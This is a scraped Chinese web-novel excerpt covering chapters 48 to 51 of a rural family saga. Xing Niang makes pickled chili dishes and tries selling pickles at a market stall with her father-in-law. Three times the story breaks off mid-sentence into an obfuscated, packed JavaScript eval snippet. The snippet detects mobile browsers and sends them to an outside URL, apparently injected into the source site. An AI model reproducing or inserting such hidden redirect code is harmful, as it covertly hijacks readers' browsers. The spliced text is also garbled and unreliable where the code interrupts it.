“李山姜！”李老爷子盯着三儿子，神情严肃，“他们帮了李家，李家重礼厚谢，往后再无瓜葛。他们跟我们不是一路人，你不要跟他们掺和在一起，若是让我发现你跟他们鬼混，你最好记住，到时我一定打断你的狗腿。你是知道我的性子，我向来说一不二，你自个掂量着办。” 李老三莫名打了个冷颤，大声叫屈：“爹，您说什么呢，我一向跟他们玩不到一起的，我怎么会……怎么会去找他们？” 李老爷子回了他一个冰冷的“哼”字，威胁意味十足。 李老三委屈地缩脖子，觉得他爹莫名其妙。 却不知纵使有李老爷子的未卜先知，警告在先，这世上的事该发生的还是会发生，避免不了的祸端怎么样都绕不开，人性如此，神仙也枉然。 48. 第 48 章 解决了娘家的麻烦事，杏娘继续一心一意准备农忙时的菜肴。 菜园里特意留下的第一茬辣椒已经红了，本地人把辣椒喊作胡椒，摘了肥大的红胡椒清洗干净取蒂去籽晾干，洗干净的糯米磨成粉，加上盐和生姜末拌匀。 抓一把糯米粉灌进红胡椒，用筷子稍微压得紧实一点，平铺到干净的坛子。坛口用枯稻草封死，盖上盖子，倒上养水，三天后就可以吃了，存放时间也长。 此菜名叫灌胡椒，做法很简单，用油把两面煎得金黄即可。若是担心没熟透，可用锅铲按压灌胡椒，使糯米粉挤破胡椒流出来，煎成焦黄色带点黑。 软糯鲜香，辛辣中带点酸甜，大热天的最是下饭。再是没胃口的人，一根灌胡椒也能配上一碗米饭。 杏娘意犹未尽还想做一道菜，菜园的红胡椒却不多了，这个时节本就是吃青椒，还需再等几天。 杏娘在为农忙时的吃食做准备，丛三老爷也不遑多让，不过他在准备捆稻谷用的草绳——打要子。 干枯的稻草洒一点水润湿，抓一小把稻草对折起头，扭转成一条线，顺着指头缠绕，同时续草要均匀、及时。每转一圈添加一根手指缠绕，转到四根手指时可以多绕两圈，最后退草拧紧收尾，压扁定形。 青叶在一旁看得津津有味，她爷爷的手仿佛自带仙法，别说篾条柔顺听话，乖乖听她爷的指挥。就是杂乱无章的稻草也顺从、服帖，扭成一条线盘成由小到大的圈，边角规整无半根刺头冒出来。 青叶抓一把草试着学爷爷的样子缠绕，扭来扭去，扭成一堆奇形怪状的草团。草还扎手，不一会儿，手掌一片通红。 丛三老爷劝她：“玩别的去吧，你这小嫩手可别扎破了。” “爷爷的手不疼吗？” 丛三老爷哈哈大笑，“爷爷皮糙肉厚，草扎不破，手不疼。” 青叶抓起爷爷的手仔细打量，这是一双怎样的手呢——一双标准老农的手。 手指头短而粗，每一根指头都是蜷缩、弯曲的，伸不直。里外都是老茧，手掌粗糙得像一块老树皮，布满风霜雨雪般的刻痕。手指甲坚硬、厚实，是黄黑色，跟肉长成了一体。 白嫩柔滑的小手抚摸着宽阔的手心，如同触碰带刺的荆棘，比枯稻草可疼多了。难怪爷爷不怕草扎呢，原来他的手比草还刺人。 “好了，玩去吧，爷爷要打要子，等割了稻谷捆起来给我们叶儿吃新米。”丛三老爷拍了拍小孙女的头，弯下身子继续捋草。 青叶不想出去玩，何家姐妹总是有干不完的活，不是切猪草就是洗衣裳，林林总总，很少有空闲的时间明目张胆地玩耍。手上总是要拿着点东西，即便是单纯地坐着，也要穿了针线缝补衣裳。 她每次过去都会帮点小忙，洗个菜扫下灰烬之类的，别人都在忙活，只她一个空着不太好意思。可次数多了，她也嫌烦，丛家的这些细碎活她娘都不让她插手，结果反倒跑别人家来干活。 何苦来哉，还不如留家里帮她娘拿板凳端茶倒水呢。 这还不是最重要的，重点是何家养了两只鹅。白白的大鹅，体态丰满，鲜红色的扁平嘴，鹅颈修长弯成弧形，优雅极了。 可在青叶的眼里，比周邻家的黄狗还恐怖。这两只大鹅也不知道活了多少年，反正自青叶有记忆起，何家的两只鹅就是这么趾高气扬。 两只鹅通常在后院溜达，可有时也会被赶到门前的小河觅食。青叶每次去何家前都要做一番心理建设，胆战心惊往她家门口挪动，就怕突然冲出来两个白胖矮小的身影。 那可太吓人了，它们张开像老鹰一样硕大、强健有力的双翅，身子压低俯冲而来。修长的脖子伸得直直的，能伸出两里地，嘴里“嘎嘎”叫，厚实的脚掌“噗噗”快速冲刺，踩过的地面泛起一阵灰尘。 若是不小心让它们近了身，那得到的就是全方位无死角的攻击。它们用翅膀扑打，用嘴巴啄，一旦咬上休想松口。 青叶小时就被叨到了屁股，怎么跑都甩不脱，边跑边哭，大鹅衔了一路，堪称童年阴影。杏娘晚间扒了裤子看时，屁股上青了一大片，疼了好几天。 打那过后，青叶看见这两只大鹅就两腿发软，跑都跑不快，能躲多远躲多远。这两只扁毛畜生也看人下菜碟，才三岁就天生虎胆的青果就敢拽了鹅脖子转圈圈，两只恶霸就不去惹他。 专门逮着青叶欺负，一看见她就两眼冒光，扑腾着冲过来。简直就是人善被人欺，马善被人骑啊，世态炎凉，连畜生也欺软怕硬。 再过去几户是堂姐丛凤家，在这样光脚踩地能烫起泡的大热天，猛烈的日光毫无保留地炙烤大地，多走几步路都是受罪。青叶懒得跑那么远，况且堂姐比她大了几岁，跟她玩不到一起。 西边的几家更不用说，不论是丛五老爷家人见人烦，鬼见鬼愁的少年郎丛八、丛九，还是老朱家那一长串的孙猴子们，都跟青叶不是一挂的，更难玩到一起。 再远些的张玉就别提了，比她娘都忙。 两个调皮捣蛋的臭小子不在家，青叶还挺好奇他们到底在忙什么，一睁眼就不见人影。一到晌午又准时踩着饭点跑回家，吃饱撂下筷子飞奔而去，比大人的行程还多。 烦人精们不在，家里清净的让人想睡觉。通透的南风穿堂而过，吹得人昏昏欲睡，门前树上的夏蝉鸣叫声都不觉得刺耳了，此时听来仿佛催眠。 凉床放在堂屋通向院子的过道里，青叶舒服地躺在上面，惬意地叹一口气，伴着呼呼的风声和一阵一阵有节奏的蝉鸣进入梦乡。 陈氏坐在凉床边的小板凳上打瞌睡，头一点一点往下啄，嘴角流下缕缕涎水。尽管如此，小老太也是不肯在白日里上床安卧的，在她看来这实在不是一个成体统的事。 天上的太阳从东边转到西边，倦鸟归林，鸡鸭回笼。从大门射进堂屋的光线由亮转暗，逐渐消失不见。 青叶睁开沉重的眼皮，茫然地看着屋顶，躺在凉床上不想动弹。好半晌才懒洋洋坐起身，仍是两眼无神看着虚空发呆。 这一觉睡得可真沉，舒服极了，就是睡过了头，精气神都给睡跑了，头昏昏沉沉还想睡，但又着实睡不着。 她好像做了一个梦，梦里一个十几岁的小姑娘对着她笑，长得跟她可真像，那是谁呢？ “叶儿，洗把脸，给娘去河边摘几根青椒。”杏娘在灶房喊道。 “哎！好的。”青叶振作精神，赤着双脚下地，也不去洗脸，径直往大门外走去。 两个黑小子回来时哭丧着两张小脸蛋，青果黝黑的脸上满是泪痕，边走边抽泣。 杏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457607|169588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘奇怪地问：“这是怎么了？” 青果对着娘亲嚎啕大哭，鼻涕泡都冒了出来，孩子见到娘，无事哭三场，更何况现在是天大的事。 青皮怯生生地说：“我们在杨树下玩，洋辣子从树下落下来，掉在他胳膊上了。” 杏娘哭笑不得，这可真够倒霉的。 大热天的乡下在屋外可不是那么好玩的，皮小子们在屋里呆不住，外面热得似火炉，可不就得往阴凉的树荫底下钻。 运气不好就要迎接洋辣子的降临，一种通体绿色，与毛毛虫相似，但浑身覆盖着密集的刺毛。一旦碰到皮肤，像被火烧到，异常疼痛，火烧火燎的难受，被蜇到的地方几天都不能碰。 “我已经把那只洋辣子捣烂，掏出肚子里的东西涂在他胳膊上了，可他还是很疼。”青皮无辜地补充。 “好了，好了，不哭了。”杏娘安慰小儿子，抓了他的小胖胳膊仔细打量，被蜇的地方还有些红肿，起了大大小小一溜的鼓包，上面还残留着绿色的汁水。 “等会儿洗澡时，娘给你抹上皂角，洗洗就不疼了。” 青果哼哼唧唧吃完晚饭，用皂角水洗了澡，临睡时仍在嘟囔疼，在他娘怀里扭股糖似得不肯睡。 看在他受伤的份上，杏娘的耐心异常充足，搂了小儿子在怀里，让大儿子靠在另一边。拍打着两个儿子的小背脊，轻轻哼唱古老的歌谣：“枫杨花开一串串，被风吹落随水流，流呀流，流到娘娘的家里头……” …… 小孙子受了苦，丛三老爷决定给他一个惊喜，一大清早起床去田里捉蚂蚱。 这玩意就是个祸害，逮着稻谷茎秆、叶子使劲啃，有什么吃什么，庄稼能给它霍霍光。还不易捕捉，能弹跳会飞，满田间地头跳窜。 显然丛三老爷是捉蚂蚱的好手，两只手掌成拱形，对着蚂蚱快速合拢；还可以趁着它专心啃叶片时，用大拇指和食指飞快捏住。 捉到的蚂蚱绑起来系成一条串，杏娘看见八、九串蚂蚱喜出望外，今儿个早食可以不用吃咸菜了。 焯过水的蚂蚱摘去头、足、翅膀，洗净后晾干水分入油锅，用文火炸至金黄捞出，洒了细盐拌匀即可。这般做出来的蚂蚱香酥脆嫩，一口一个，唇齿生香。 三个小的起床看见肉香扑鼻的油炸蚂蚱，欢呼一声，不用人催自发去洗漱。捧着稀饭，也不用筷子夹，直接用手拿起来就啃，这般吃起来才过瘾。 吃得满嘴流油，嘎嘣脆爽，一小碗稀饭“呼噜噜”干净利落扒干净，不像往常那般磨蹭。吃完了还意犹未尽舔嘴皮子，回味无穷，要是日日能吃上就好了。 大人也跟着沾光，夹几筷子过个嘴瘾，多数留给孩子们吃。 饭后丛三老爷搬出杂物房里的诸多农具一一查看，田里的稻穗眼看着要泛黄，想必过不了多久就要开镰。检查农具是否趁手是非常必要的，要不然活干到一半，家伙什坏了，时间不等人，那真是能急出一身热汗。 生锈的镰刀要磨锋利，冲担头是否牢固，木耙的齿有没掉落，零零总总，每一处都要检查到位。 抢收庄稼好比大仗前的准备，稍有疏忽那就满盘皆输，悔之晚矣。所谓兵马未动粮草先行，其实对农人来说是一个道理，将军靠打胜仗吃饭，他们靠收谷子吃饭，都不能耽误。 49. 第 49 章 吃过早饭，杏娘提了篮子往菜园走，夏日菜蔬茂盛，硕果累累。 家里的三处园子长得满园青翠，枝繁叶茂，低矮处的胡椒、茄子、黄瓜、南瓜，数不胜数；高处的豆角、蛾眉豆、丝瓜，爬满竹架，长势喜人。 瓜菜长得快，不几日就老了，加之成熟的摘掉后嫩的立马就冒出了头，不愁没有菜吃。杏娘决定去给苏木送一坛酱，顺便摘一篮子新鲜蔬菜带去。 一个大提篮装得插不进手，杏娘方罢休，抹一把额头的汗水，甩动袖子扇风。这鬼天气越发热了，大早上的稍微动弹一下就热得直喘气。 到了镇上，杏娘懒得顶着大太阳走去苏木家，直奔医馆而来。 “先把酱给你送来，农忙马上要开始了，怕到时没工夫给你送。”杏娘喘着粗气猛灌茶水，“这一篮子菜是才摘的，嫩的很，豆角、黄瓜可以放进坛子里当酱菜，剩下的你要婉娘看着办。” 李苏木在一旁把蒲扇挥出残影，很是心疼，“小姑，害你受累了，这么热的天还要往镇上跑。你往后不要送了，酱吃完了我自个去你家拿。” 又喝了两盏茶，杏娘方缓解了炎热，长舒一口气，“没事，我又不是用两条腿走过来的，现成的船接船送，就是晒一会太阳的事，这算什么。你忙正事要紧，我闲着也是无事，一会就到了。” 李苏木想了想没反驳，接着说：“已得了你两坛酱，下次送酱来一定得给你银钱。再不给的话，我都没脸吃。” 杏娘摆手拒绝，“都是自家园子里的东西，又不费什么银子，我找你要钱做什么，没得抠门成这样，省这几个铜子也发不了财。” “小姑！”李苏木一脸正色，浓黑的眉毛蹙起，不赞同地看着她，“你还跟我说要亲兄弟明算账，怎么到了自个就看不清了。即便是你家里的一根草，到了我这里能用得上，那也是值钱的。” “可这些酱真的不值钱啊，就是做起来费点事，这能值个什么？”杏娘也是冤枉的很。 辣椒、生姜、菜籽油，哪样不是自家的，就盐巴要花银子买，可她自个家也要吃盐嘛。 李苏木叹一口气，“小姑，不是这么算的。我给人看病开药方得诊金，不也是花了时间才有的。跟你做酱是同样的道理，你做酱的手艺好，必然有你的独到之处，我爱吃就必须花银子买。街上那么多饭馆，灶上手艺好的，生意就好，价格嘛，贵一点也是理所应当，人喜欢就愿意买账啊！” 杏娘委屈表示：“可我又不是做买卖的？” “你是不做买卖……”说到这里，李苏木心里一动，“小姑，还别说，你不是一直想赚钱吗？咱怎么就不能摆个小摊，专门卖酱菜呢？” 越想越觉得这个主意可行，“小姑，你看你摆摊的话，我肯定要买的，我吃饭可以没有肉，但是一定不能没有酱。我在你这里买酱菜，吃得心安理得，说不定吃得更多呢。 还有家里的爷奶、爹娘叔伯们，他们家里吃的酱都没你做的好吃。到时少不得跑你这里买回去吃，至少爷奶、爹娘肯定会的，他们又不差这几个铜板。” 杏娘还是有些迟疑：“可是人人家里都做酱的，我做出来也没旁的人买啊，就家里的这几个人哪够？” “那人人家里都有婆娘做饭呢，街上怎么还开了包子铺、面馆、饭馆的？再说了，我看这街上的一般人家也不做酱，他们没有菜园，嫌麻烦，都是买酱吃的。杂货铺的那个酱……” 李苏木一脸嫌弃，“不是我说，还没吃呢，闻着就一股霉烂味，他们照样买了吃。你比他们的手艺好多了，为什么不试试呢，反正卖不出去的我给你全包了……” 一番话说得杏娘心里跃跃欲试，已然松动，心不在焉地坐船回到家，还在想李苏木说的话。 周围村子会编篮子、箩筐的多了去，可丛三老爷还是一有空就去赶集摆摊，挣的虽不多吧，个把月下来也能买一条肉，积少成多嘛。 分了家后自家的地就剩了十三亩水田，三亩旱田，农忙时家里男人回来帮忙，三个人能干完这些农活。平日田里的拔草、施肥、踩水、排水等，她跟丛三老爷也能应付，每个月的赶集时间还是能抽出空来的。 要不要去摆摊呢？ 杏娘拿不定主意，索性还有两日才到镇上赶集的日子，她用不着那么快下决定。 摆摊的事且要靠后，菜园又红了一批辣椒，杏娘今日要做炸胡椒。 洗干净的红辣椒沥干水分，揪掉蒂后切成碎末，洒盐拌均匀。另准备多一些早谷米磨成的粗粉，也倒进去拌匀，尽量让米粉多过辣椒碎混合成较干的粉末。 装坛时用拳头压紧实，塞了枯稻草后盖上盖子，加养水，发酵二十几天就可以炒了吃。若是放了切了片的莲藕一起腌制，就叫炸藕，时间到了直接舀一碗，多加一点油炒，酸辣开胃。 放好坛子，杏娘又思量起摆摊的事，到底不甘心就这么放弃。 她爹李老爷子年轻时一双破草鞋、一杆烂幡子，背着个旧布袋，就敢走遍十里八乡的村镇。走过的路没有一千里也有八百里，靠着这点营生娶妻生子，养活了一窝儿孙。 若是他爹像她这么畏畏缩缩，思前想后的，那什么都不用干了。早饿死在哪个犄角旮旯，连个收尸的人都没有，哪敢想现下这种好日子。总而言之，人就要敢想、敢做，像苏木说的那样，怕什么，卖不出去大不了拿回家自个吃。 她虽比不过她爹，但只是去镇上摆个小摊还是能做到的，不是还有个公爹作伴么？有个老人一起做买卖，她就算是个年轻妇人，也让人挑不了刺。 下定了决心就做，到了赶集这日清晨，杏娘准备好一应物什放进一个背篓，随丛三老爷一起坐船去镇上。 葫芦镇就一条主干道略微宽敞繁华，道路两旁坐落着粮铺布店、金银器皿首饰铺、医馆书店等，若干条小巷连通主干道。 一月中逢五日且每隔五天是赶集日，十里八乡的农人自发带了家里的产出来小巷贩卖。有推了独轮车停在巷子口，车上放着果子、菜瓜等物，或是地上铺一块破席子，摆放草鞋、蓑衣，亦有直接提了一篮子鸡蛋，就地蹲下即成一个小摊位。 丛三老爷挑了两个大箩筐熟门熟路走到一条小巷的中间偏后段，掏出筐里的鱼篓、簸箕、菜篮子等一一在地上摆放整齐，占了一片不大不小的位置。 留了靠路边的一角给杏娘做买卖——她带的物件着实少。 杏娘见此赶紧拿了公爹编的一个浅口长条提篮摆上，将背篓里的两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457608|169588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小坛酱菜、一大坛子酱及一布袋干菜放好。 要说做酱菜的食材，新鲜蔬菜和干菜皆可，只不过干菜口感偏硬，更有嚼劲，放进酱坛子的存放时间更长。才摘的豆角、黄瓜等腌了，头几天能吃个新鲜，再多几天就有了酸味，渐渐的就不能吃了，还坏一坛酱。 两小坛酱菜是在家里事先拌好装进去的，都是一斤装，家里拢共就四个这般大小的坛子，都被杏娘拾掇好带来。 若是能卖出去，剩下的两坛现拌了即可，要是卖不了，也免得自家吃这么多的酱菜。 丛三老爷是个闲不住的，坐在小板凳上也拿了篾条编斗笠，不时跟相邻的摊贩搭几句话。杏娘无事可干，好奇地东张西望，他们来得早，巷子里的摊位还没摆满，路过的行人也不多，最多的是跨了提篮买菜的妇人。 坐了没一会，杏娘就不耐烦了，跟公爹打个招呼，自个溜达去了。 她做姑娘那会就经常跟着父兄出门逛街，镇上的巷道再熟悉不过。只是那时光顾着找零嘴吃食，日常家用少有关注，这会不免留心各类柴米油盐的物价。 街上的叫卖声不绝于耳，油锅里捞出的面饼喷香，走得进了还能听见店里的吃客咀嚼的“咔嚓”声。纵使在家里过了早，杏娘也被馋的吞一口唾液，毕竟清汤寡水的稀饭和重油酥脆的油饼还是有明显的区别。 紧走几步转个弯远离油香，杏娘方吐出一口气，别一个子没赚到还掉贴几个铜板，那还做甚的买卖。 逛了一圈走过几条巷，杏娘慢吞吞往回走到自家摊前。此时巷子里的摊位鳞次栉比，闲逛的行人也多了起来，交谈声、讨价还价声此起彼伏。 比对过各式物件价格，杏娘心里大致有了数，她原本心里就有个念头，此时不过更坚定了而已。 别的摊位前人来人往，尤其是卖藕梢子、莲蓬、菱角等时令菜的木盆前。白生生细长的藕梢子从水里捞出来还在滴水，甩一把就上秤。这个菜吃的就是个鲜嫩，隔夜就过了味，少了几分水意。 故而一次买的不多，夏季正当时，长得茂盛繁殖快，一场雨后满池冒尖尖的“绿桩”。两、三根长条掰成段即可清炒一盘，再多加两根一天的量都够了。 自家摊位前问价的人却少，偶有个把妇人停步扫一两眼，又撇了眼神往前走，害杏娘提着心白高兴一场。 丛三老爷却是毫不在意，依旧慢悠悠编制篾条，跟隔壁的老汉说得兴起时咧嘴大笑，丝毫不管摊位前空无一人。 瞟一眼冒着热气的包子铺，杏娘垂眼略一思索，从背篓里又掏出一个大海碗——打算拌酱菜用的。从酱坛子舀了大半碗的酱，挨着酱菜平放在提篮里，她还偷摸着往里滴了两滴芝麻香油。 本来是不打算用的，这玩意也贵啊，这时却不得不拿出来当个引子。 如此忙碌一通，效果是显而易见的好，瓷白的碗里红通通的辣椒格外显眼，最上面还浮着一层鲜亮的棕红色油。因是去年做的陈酱，浸泡了将近一年时间，酱的色泽更为浓郁，近乎红褐色。 隔了四、五步的距离，一股醇厚的、辛辣中带着麻油的霸道香味就冲入口鼻，引人垂涎欲滴。对于爱吃辣的人来说，闻到这个香气，唾沫就不由自主地分泌，挡都挡不住。 50. 第 50 章 杏娘别出心裁的小妙招，效果立竿见影的好。 带着头巾打扮清爽的妇人吸吸鼻子，四下里扫一圈，蹲下来问：“这个酱怎么卖？” “嫂子我不卖酱，我卖酱菜。”杏娘一下来了精神，赶忙揭开盖子指给她看，“一半是干菜，一半是酱，菜吃完了还可以往里头添菜腌制，最后剩的酱还可以炒菜，划算着呢。” 妇人犹豫半晌，上下打量小酱菜坛子，还是出声问：“那这酱菜是怎么卖的？” “一坛二十文。” “什么？一坛要二十文……”妇人大惊失色，满脸不悦，“小小一坛子酱菜竟然要二十文，都快赶上猪肉价了，你怎么不去抢？杂货铺的一坛酱也才不到十文，你到底是不是做生意的？” 杏娘好脾气地一笑，“嫂子您也说了，那是杂货铺的酱，您拍胸口说说，他们那个酱的色泽、香味、用料能跟我的一样？您瞧瞧，我这酱可是货真价实的好东西，半点不掺假，这油……我家的酱可是用刚下的菜籽油熬制的，别说一年，两、三年都不带坏的。” 妇人虽然心动，仍是对价格不满，“可你卖的也太贵了些，谁知道这一坛子酱菜是不是全是菜，就上头的一点酱盖着，干菜才几个钱，三个铜板能买一大把。” 杏娘脆声道：“嫂子说笑了，我们做买卖的又不是只做今天这一次，若是这样我叫的价更高，左右不想做回头生意了。您要是买了觉得货不对板，提了酱菜坛子来我这儿，咱们可以当面对峙。” “我也不想回过头再找你麻烦。”妇人缓和了面容，趁机提议，“不如这样，你卖一坛这样的酱给我，好不好吃我都认，过后绝不过来找你，怎么样？你也少了纠葛，皆大欢喜。” 杏娘忍俊不禁：“好嫂子，咱们明人不说暗话，我这酱是真材实料做出来的好东西。要是这个价卖酱，我还不如趁早卷铺盖回家干活算了。这摆明了就是赔本买卖啊，赚的钱还不够我做酱的成本。我岂不是自讨苦吃，闲着没事干跑出来瞎折腾？” 抱起酱菜坛子倾斜了给她看，“干菜虽说便宜，可我这酱是实打实的用料，省着点吃能腌好几轮菜，味道也是极好的，您闻这香味就知道了。” 妇人知道她不肯让价，捏一把袖子里的铜板，嘟囔几句还是走开了。 杏娘也不气馁，有人问价就是个好开头，只要东西好，不愁卖不出去。她本来针对的就是手里有点闲钱的妇人，农户家里都做酱，区别就是用料、方法不同，味道天差地别。 好的酱炒菜更添色彩，吃了令人回味无穷，重口的人恨不得蛋花汤里都要加两勺酱才好。如李苏木这样的，一到热天就是酱拌米饭下肚，否则肚子饿得饥肠辘辘，捧起碗筷又觉得无从下嘴。 还有一点就是这两小坛子酱菜都放了一小撮白糖，还是丛孝当初从王德的杂货铺拿回来的。有一次腌酱菜时，杏娘无意中洒进去一点白糖，结果味道竟然意外的好。 辛辣味更纯粹了不说，还去除了陈年的涩味，吃起来更鲜了。连一向不在意吃食的丛三老爷都说这回的酱菜腌的好，稀饭喝起来更稀里哗啦得爽利。 所以拌酱菜时杏娘用两指捏了一撮白糖洒进去，为的就是个开门红。这又是油又是糖的，卖便宜了还真不如杏娘说的拿回去自家吃算了。 一般的农户是舍不得花钱买酱菜吃的，若家里的婆娘做酱手艺不行，大不了用盐腌了当咸菜吃，实在没必要花钱买。杏娘开出的价就是针对那些有点家底子，不愁吃喝的中等家庭，多花几文钱能吃得更好，他们乐意出这个钱。 杏娘继续坐回她的小板凳发呆，偶尔喊两嗓子：“卖酱菜，卖箩筐啦，好吃的酱菜，都来看一看，尝一尝。” 巷子里路人不断，日头越发明亮，依旧是问的人多，买的人少。 忽而响起一道明朗的男声：“老板，这两坛酱菜我都买了。” “真的？一坛二十……”杏娘惊喜抬头，看清来人，咧开的嘴角收回去，“一边去，别妨碍我做生意。” “真的！”李苏木笑眯眯蹲在摊位前，“小姑，我就知道你肯定要来赶集，忙完我就过来找你了，找好几条街了。我说真的，这两坛酱菜我都要了，你算一下价钱。” 杏娘翻他一个白眼：“前几天才给你送了一坛酱，就是当水喝也没这么快的。别在这给我捣乱，本来这天就热的人心烦气躁的，你跑来瞎凑什么热闹。” “我吃的酱是够了，可我爹娘和爷奶也要吃酱菜啊。我回家说了你要做买卖的事，他们都说日后少做酱，来你这里买酱吃，奶奶还说她干脆不做了，老两口就买闺女的酱，省了多少事。”李苏木连忙为自个辩白。 杏娘把他挥开，“他们的酱用不着你操心，他们要是想吃，我自个送去，你赶紧回去忙你的。” “那不行。”李苏木一本正经反驳，“嫁出去的女儿泼出去的水，我们堂堂白水湾李家可没有占姑奶奶便宜的习俗，丁是丁卯是卯，断没有不问自取的道理。” 又转过身子，对丛三老爷笑得跟朵花似得，“您说是吧，亲家老爷，您身子一向可好？亲家奶奶可好？” 丛三老爷对着这样的笑脸也露出一张菊花脸，“都好，都好，跟你爷爷奶奶也问声好，我们家是你小姑说了算，都听她的，哈哈……” 杏娘哭笑不得，无论怎么赶人，这狗皮膏药粘上了就甩不脱。 后面终于受不住他的歪缠，答应下次过来摆摊卖他两坛酱菜。这次就算了，拢共就装了两坛，总得看看这个买卖能不能做得。 打发走了烦人精，杏娘继续顶着大日头守摊，丛三老爷刚编好的斗笠正好派上用场。宽大的帽檐遮挡住火热的光线，总算不用眯着眼睛手搭凉棚看人。 她举起葫芦灌一口凉茶，抹掉额头的汗，这鬼天气，可真热啊！汗水不知流了多少，还不敢多喝水，就怕没地上茅房。男的还好说，找个荒凉的犄角旮旯就地解决，妇人到底麻烦得多。 …… 火辣辣的太阳逐渐升至正当空，炙热的光芒毫无保留照射每一寸土地，不偏不倚。街上行人渐少，卖新鲜菜蔬的小贩开始收拾摊位。 丛三老爷也摞起箩筐，招呼杏娘回家，“回吧，再等下去也没几个人，正好回家吃晌午饭。” 杏娘叹一口气左右望望，摆摊的人比走路的行人还多，三三两两的小贩已卷起家当准备离开。还有些掏出油纸包里的馒头、咸菜，就着凉水咽下肚，看样子打算守到傍晚。 她照旧收拾好东西放进背篓，跟着丛三老爷往河边码头走。 今年雨水多，河里的水丰沛充盈，狭长的船只轻轻摇曳在碧波之上，漾起片片涟漪。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457609|169588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 因着水多，周老爷子弃了竹篙在划桨，静谧的水面稍减蒸腾的热意，即便如此，船上的众人也懒得说话。就是说话，也是小声私语，声音大口渴的是自个，淹头搭脑的人群如同被晒干瘪的小白菜，只差舀一瓢水迎头浇下。 杏娘挫败地坐在船舷，“爹，您往常都是这么摆摊的？” “可不是。”丛三老爷乐呵呵抿一口旱烟，烟锅中火星闪烁，他缓缓吐出烟气，“今儿个还算是好的，卖出去两个家伙什，碰到运气不好时，空坐一上午，一个铜子都捞不着。” 看小儿媳无精打采的样子，他劝慰道：“你今天头回开张，也卖出去两坛酱菜，是个好兆头，往后就越发好了。” 杏娘实在笑不出来，摆了一上午的摊，将近两个时辰，就卖出去两坛酱菜，进账四十文，她不觉得日后生意能红火到哪里去。 枉她费心吧啦纠结了好几天，好不容易下定决心出来摆摊当个小贩。也是怕头次出摊生意不好卖不出去，就扒拉出家里的四个小坛子。结果就卖了两坛，敢情一个时辰卖一坛，心里的失落可想而知。 公爹卖了两个编织品赚了十五文，可那些箩筐都是无本的买卖，只是费些人工的事，卖的钱都是净赚。相比于她那些花里胡哨的用料，谁比谁赚的多还不一定呢。 看她仍是提不起劲，丛三老爷细细讲道理：“做买卖哪有一次就发财的道理，要是那样人人都去当小贩，谁还肯面朝黄土背朝天地种地。自古商不如农，肯定是有讲究的，咱们家是以务农为主，做个小买卖赚个零碎足以，指望靠他发大财是不能够，也没那实力。” 杏娘听得仔细，以往只当这个公爹是个笨嘴拙舌、木讷的老庄家把式，家里家外都是陈氏的一言堂。 不成想他说起话来头头是道，到底是念过学堂的人，摆出的理由令人信服。 “咱们这些小摊贩只是小打小闹，勉强跟买、卖两个字沾边。真要说到做买卖，还得是那些有铺面的商家，他们的货物、铺子都是银子。不过说到底，无论是摆摊还是开铺面，都靠一个字——守。 万事开头难，谁一开始都不是一帆风顺的，只有守得住，守的时间长了，慢慢就积攒了人气、口碑，财气也就跟着来了。” 看杏娘听得认真，丛三老爷更是说得津津有味：“咱们这些上不得台盘的小把戏自然入不了那些商家的眼，可小也有小的好处。在这里摆摊赚不了钱，选的地段纵使热闹，可没人买咱的东西也是白搭。简单那，咱就换个地方接着摆，所谓船小好掉头就是这个道理。 有了铺面就不一样，开张后发现生意没想象中的好，一天没几个人踏进门槛。那也不能说关就关，若不然那些修缮的银子，铺子里的陈设，还有置办的货品等岂不都打了水漂。硬着头皮只能守到底，坚持个一年半载再说，要是实在亏损的厉害，一点兴起的意头都没有，也只能脱手转让。” 杏娘听得直点头，人都说从商者贱，可若是有了门路，人人趋之若鹜。可见还是商这一门里的道道实在太多，普通人不得其门而入，有权势者又不屑为之。 当然人一旦有了权势，自有无数商者愿意为其分忧解愁，甘为门下之臣，效犬马之劳。 那些世代从商的人家掌握的门路何其多，怪道财富能累世增多，富可敌国，外人无从插手。 51. 第 51 章 杏娘思绪飘远，有的没的想了一大堆。 耳边丛三老爷的教导还在继续：“所以说来说去做买卖就是靠守，守得云开见月明。咱们在家呆着也是无事，铜子不会自个长翅膀飞到咱手上。当个小商贩就蛮好，守一天是一天，能赚一文是一文，左右一个月也只六个赶集日，不用天天在那守着，其实也还好。” 杏娘被鼓舞了士气，“爹说得有道理，我听爹的，往后咱爷俩就守他个地老天荒，我就不信还能一直只卖两坛酱菜。” 丛三老爷哈哈大笑：“对，就是这么个理，咱小老百姓赚不了大钱，沉下心赚个零花还是能够的，这可比在田里风吹日晒的轻松多了。我就蛮喜欢守摊的，卖了就是赚，卖不出去也不亏钱，多好的事。” 